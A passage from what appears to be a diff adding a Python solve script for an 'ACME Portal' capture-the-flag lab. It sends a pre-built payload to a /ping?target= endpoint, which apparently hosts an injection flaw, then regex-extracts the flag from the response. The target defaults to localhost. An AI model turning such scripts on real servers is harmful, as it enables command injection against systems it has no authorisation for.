print(f"[*] Endpoint : /ping?target=") + print(f"[*] Payload : {payload}") + print(f"[*] Encoded URL : {url}") + print() + + try: + req = urllib.request.Request(url) + with urllib.request.urlopen(req, timeout=15) as resp: + body = resp.read().decode("utf-8") + except Exception as e: + print(f"[!] Request failed: {e}") + sys.exit(1) + + # Extract flag from response body using regex + match = re.search(r"flag\{[^}]+\}", body) + if match: + flag = match.group(0) + print(f"[+] Flag found!") + print(f"[+] ══════════════════════════════════════") + print(f"[+] {flag}") + print(f"[+] ══════════════════════════════════════") + return flag + else: + print("[!] Flag not found in response. Raw output snippet:") + # Print a small chunk of response for debugging + start = body.find("OUTPUT") + snippet = body[start:start+500] if start != -1 else body[:500] + print(snippet) + sys.exit(1) + + +def main(): + print(BANNER) + parser = argparse.ArgumentParser(description="ACME Portal CTF Solve Script") + parser.add_argument( + "--host", + default="http://localhost:5000", + help="Base URL of the target (default: http://localhost:5000)" + ) + args = parser.parse_args() + host = args.host.rstrip("/") + exploit(host) + + +if __name__ == "__main__": + main()